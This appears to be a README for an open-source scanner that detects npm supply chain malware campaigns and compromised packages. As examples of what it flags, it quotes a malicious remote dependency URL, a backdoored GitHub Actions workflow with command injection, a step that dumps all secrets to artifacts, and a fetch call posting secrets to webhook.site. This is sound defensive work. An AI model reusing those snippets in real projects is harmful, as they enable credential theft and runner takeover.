A comprehensive shell-based scanner for detecting npm supply chain malware including PhantomRaven, Shai-Hulud 2.0, and similar threats.
Discovered by Koi Security, this campaign:
- Infected 126 malicious npm packages with over 86,000 downloads
- Stole npm tokens, GitHub credentials, and CI/CD secrets
- Used Remote Dynamic Dependencies (RDD) to hide malicious code
- Remained undetected from August to October 2025
Discovered by Wiz Research, this active campaign:
- Compromised 350+ maintainer accounts including Zapier, ENS Domains, PostHog
- Affected 25,000+ repositories (growing by ~1,000 every 30 minutes)
- Exploits GitHub Actions with self-hosted runner backdoors
- Exfiltrates secrets via artifacts and webhook.site
- Executes during preinstall phase for maximum exposure
Most security tools fail to detect these attacks because:
| Traditional Tools | npm-threat-hunter |
|---|---|
| β Static registry analysis only | β Detects Remote Dynamic Dependencies |
| β Miss HTTP URLs in dependencies | β Identifies 150+ known malicious packages |
| β Ignore GitHub Actions threats | β Scans workflows for injection attacks |
| β No version-specific detection | β Flags exact compromised versions |
| β Can't detect exfiltration patterns | β Deep code analysis for credential theft |
# Required
sudo apt install jq # Ubuntu/Debian
brew install jq # macOS
# Optional (for faster scans)
sudo apt install parallel # Ubuntu/Debian
brew install parallel # macOS# Clone the repository
git clone https://github.com/paoloanzn/npm-threat-hunter.git
cd npm-threat-hunter
# Make executable
chmod +x npm-threat-hunter.sh
# Run scan
./npm-threat-hunter.sh /path/to/your/project./npm-threat-hunter.sh ~/projectsDetects:
- Remote Dynamic Dependencies (PhantomRaven)
- Known malicious packages
- Compromised package versions (Shai-Hulud 2.0)
- Shai-Hulud artifact files
- GitHub Actions workflow injections
- Suspicious lifecycle scripts
- Malicious domain references
./npm-threat-hunter.sh --deep ~/projectsAdditional checks:
- Credential theft patterns in code
- Suspicious network calls
- Environment variable harvesting
- webhook.site exfiltration detection
./npm-threat-hunter.sh --paranoid ~/projectsEverything plus:
- Installation timing analysis (attack periods)
- System compromise indicators
- ~/.gitconfig and ~/.npmrc forensics
- GitHub self-hosted runner detection
./npm-threat-hunter.sh [OPTIONS] [PATH]
Options:
--deep Enable deep code scanning
--paranoid Enable all checks including timing analysis
--verbose Show detailed output including whitelisted items
--json Output results in JSON format
--dry-run Show what would be scanned without executing
--no-cache Disable signature caching
--parallel Use parallel processing (requires GNU parallel)
--help Show help message
--version Show version informationCombine flags as needed:
./npm-threat-hunter.sh --deep --json --parallel ~/projects > report.jsonThe primary PhantomRaven attack vector:
β MALICIOUS
"dependencies": {
"pkg": "http://packages.storeartifact.com/malware.tgz"
}
β
SAFE (GitHub - whitelisted)
"dependencies": {
"test262": "https://github.com/tc39/test262#commit-hash"
}All 126 packages from the PhantomRaven campaign including:
unused-importseslint-commentstransform-react-remove-prop-typescrowdstrike(fake package!)- See full list
Detects exact malicious versions:
| Package | Compromised Versions |
|---|---|
@zapier/zapier-sdk |
0.15.5, 0.15.6, 0.15.7 |
zapier-platform-core |
18.0.2, 18.0.3, 18.0.4 |
zapier-platform-cli |
18.0.2, 18.0.3, 18.0.4 |
@zapier/mcp-integration |
3.0.1, 3.0.2, 3.0.3 |
@ensdomains/ensjs |
4.0.3 |
@ensdomains/ens-contracts |
1.6.1 |
ethereum-ens |
0.8.1 |
@posthog/agent |
1.24.1 |
Plus entire compromised namespaces:
@trigo/*@orbitgtbelgium/*@louisle2/*
Detects malware payload files:
| File | Purpose |
|---|---|
setup_bun.js |
Payload loader |
bun_environment.js |
Environment stealer |
cloud.json |
Exfiltrated cloud credentials |
contents.json |
Stolen repository contents |
environment.json |
Captured environment variables |
truffleSecrets.json |
Harvested secrets |
Scans workflows for:
# π¨ BACKDOOR PATTERN - Self-hosted runner with discussion trigger
name: Discussion Create
on:
discussion:
jobs:
process:
runs-on: self-hosted # β Targets compromised runners
steps:
- run: echo ${{ github.event.discussion.body }} # β Command injection!# π¨ SECRET EXFILTRATION - Dumps all secrets
env:
DATA: ${{ toJSON(secrets) }} # β Enumerates ALL secrets
steps:
- uses: actions/upload-artifact@v5 # β Exfiltrates via artifactsSpecific patterns detected:
discussion.yamlbackdoor workflowsformatter_*.ymlsecret exfiltration- Self-hosted runner registration as "SHA1HULUD"
toJSON(secrets)enumeration- Unsafe
echo ${{ github.event.* }}injection
Searches for:
process.env.NPM_TOKENprocess.env.GITHUB_TOKENprocess.env.GH_TOKENprocess.env.GITLAB_TOKEN.gitconfig/.npmrcaccess
Detects suspicious outbound connections:
// π¨ FLAGGED - Known exfiltration endpoint
fetch("https://webhook.site/xxx", {
method: "POST",
body: JSON.stringify(secrets),
});Flags packages installed during active attack periods:
- PhantomRaven: August 1 - October 31, 2025
- Shai-Hulud 2.0: November 21 - present, 2025
- Checks
~/.gitconfigmodification timestamps - Validates
~/.npmrcfor exposed tokens - Scans environment for leaked secrets
- Detects GitHub self-hosted runners named "SHA1HULUD"
| Code | Status | Action |
|---|---|---|
0 |
β Clean | No threats detected |
1 |
π¨ CRITICAL | Malware detected - immediate action required |
2 |
Suspicious indicators - review carefully |
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
SCAN RESULTS
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Summary:
ββ Remote Dynamic Dependencies: 0
ββ Known Malicious Packages: 0
ββ Compromised Versions: 0
ββ Shai-Hulud Artifacts: 0
ββ Workflow Injections: 0
ββ Suspicious Lifecycle Scripts: 2
ββ Credential Theft Patterns: 0
ββ Suspicious Network Calls: 0
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β No critical threats detected
Your npm projects appear clean based on known indicators for:
- PhantomRaven (Aug-Oct 2025)
- Shai-Hulud 2.0 (Nov 2025+)
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
πͺ± Compromised Package Versions:
ββββββββββββββββββββββββββββββββββββββββ
[CRITICAL] @zapier/zapier-sdk@0.15.6
File: project/package.json
Campaign: SHAI_HULUD_2
πͺ± GitHub Actions Workflow Issues:
ββββββββββββββββββββββββββββββββββββββββ
[CRITICAL] discussion+self-hosted
File: .github/workflows/discussion.yaml
Issue: Backdoor pattern
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
π¨ CRITICAL: MALWARE DETECTED!
Campaign Detected: SHAI-HULUD 2.0
IMMEDIATE ACTIONS REQUIRED:
1. DO NOT run npm install
2. Disconnect this machine from network
3. Rotate ALL credentials immediately
...
SHAI-HULUD 2.0 SPECIFIC ACTIONS:
6. Check GitHub for self-hosted runners named 'SHA1HULUD'
7. Review .github/workflows for discussion.yaml or formatter_*.yml
8. Audit GitHub Discussions for suspicious content
9. Check for exfiltration to webhook.site
10. Review Actions artifacts for secret dumps
name: Security Scan
on: [push, pull_request]
jobs:
npm-threat-scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Install jq
run: sudo apt-get install -y jq
- name: Run npm-threat-hunter
run: |
chmod +x npm-threat-hunter.sh
./npm-threat-hunter.sh --deep .
- name: Upload report
if: failure()
uses: actions/upload-artifact@v4
with:
name: threat-scan-report
path: scan-report.jsonnpm-threat-scan:
stage: test
image: ubuntu:latest
before_script:
- apt-get update && apt-get install -y jq
script:
- chmod +x npm-threat-hunter.sh
- ./npm-threat-hunter.sh --deep .
allow_failure: false#!/bin/bash
# .git/hooks/pre-commit
if [ -f "package.json" ]; then
./npm-threat-hunter.sh --deep . || exit 1
fifor dir in ~/projects/*/; do
echo "Scanning $dir"
./npm-threat-hunter.sh --deep "$dir"
done# Disconnect from network
sudo ip link set eth0 down # Linux
sudo ifconfig en0 down # macOScat ~/.gitconfig
cat ~/.npmrc
env | grep -E '(TOKEN|SECRET|KEY|PASSWORD)'| Service | Action |
|---|---|
| GitHub | https://github.com/settings/tokens β Revoke all |
| npm | npm token list β npm token revoke <id> |
| CI/CD | Update all secrets in Actions/GitLab/Jenkins |
| Cloud | Rotate AWS/GCP/Azure credentials |
# Clear npm cache
npm cache clean --force
# Remove all node_modules
rm -rf node_modules
find ~/projects -name "node_modules" -type d -exec rm -rf {} +
# Remove lock files
rm package-lock.json
# Reinstall with scripts disabled
npm install --ignore-scripts
# Pin to safe versions (pre-Nov 21, 2025 for Shai-Hulud affected packages)# Check for malicious self-hosted runners
gh api user/repos --jq '.[].full_name' | while read repo; do
gh api "repos/$repo/actions/runners" 2>/dev/null | grep -q "SHA1HULUD" && echo "INFECTED: $repo"
done
# Remove malicious workflows
rm -f .github/workflows/discussion.yaml
rm -f .github/workflows/formatter_*.yml
# Check for artifact exfiltration
gh run list --json databaseId,name | jq '.[] | select(.name | contains("format"))'# 1. Use lock files with integrity checks
npm ci # instead of npm install
# 2. Disable auto-script execution
echo "ignore-scripts=true" >> ~/.npmrc
# 3. Regular scanning
./npm-threat-hunter.sh --deep ~/projects
# 4. Audit before adding packages
npm audit
npm view <package-name> dependencies
# 5. Verify AI-suggested packages
# Never blindly trust Copilot/ChatGPT package recommendations
# 6. Use scoped, short-lived tokens
# Never use long-lived PATs in CI/CDThe scanner uses external data files in data/:
data/
βββ malicious-packages.txt # Known malicious npm packages (150+)
βββ malicious-domains.txt # C2 and exfiltration domains
βββ safe-domains.txt # Whitelisted domains for RDD
βββ safe-packages.txt # Packages with legitimate install scripts
βββ ioc-artifacts.txt # IOC patterns (files, workflows, versions)
Simply edit the text files to add new IOCs:
# Add new malicious package
echo "new-malicious-pkg" >> data/malicious-packages.txt
# Add new malicious domain
echo "evil-domain.com" >> data/malicious-domains.txt
# Force reload (bypass cache)
./npm-threat-hunter.sh --no-cache ~/projectsTYPE|PATTERN|DESCRIPTION|CAMPAIGN
Examples:
FILE|setup_bun.js|Shai-Hulud payload loader|SHAI_HULUD_2
WORKFLOW|discussion.yaml|Backdoor workflow|SHAI_HULUD_2
VERSION|@zapier/zapier-sdk|0.15.5,0.15.6,0.15.7|SHAI_HULUD_2
NAMESPACE|@trigo/|Compromised publisher|SHAI_HULUD_2
The scanner intelligently whitelists known-safe patterns:
github.comgitlab.combitbucket.org
esbuild- JavaScript bundler@swc/core- TypeScript/JavaScript compilercypress,puppeteer,playwright- Testing frameworkselectron- Desktop app framework
Add to whitelist files:
# Safe domain
echo "your-internal-registry.com" >> data/safe-domains.txt
# Safe package with install scripts
echo "your-internal-package" >> data/safe-packages.txtContributions welcome!
- Fork the repository
- Create a feature branch
- Add tests for new detections
- Submit a pull request
- Add packages to
data/malicious-packages.txt - Add domains to
data/malicious-domains.txt - Add IOCs to
data/ioc-artifacts.txt - Update detection functions if new techniques needed
MIT License - See LICENSE file
This tool is provided for defensive security purposes only. Use responsibly and in accordance with applicable laws and regulations. The authors are not responsible for misuse or damage caused by this tool.
- Wiz Research - For discovering Shai-Hulud 2.0 and rapid disclosure
- Koi Security & Oren Yomtov - For the original PhantomRaven research
- Aikido Security - For additional analysis and confirmation
- npm Security Team - For rapid response in removing malicious packages
- Open Source Community - For maintaining secure package ecosystems
- Issues: GitHub Issues
- Security: Report vulnerabilities privately via GitHub Security Advisories
Stay safe! Scan often. Trust but verify. π‘οΈ
Last updated: December 2025 | Version 2.0.0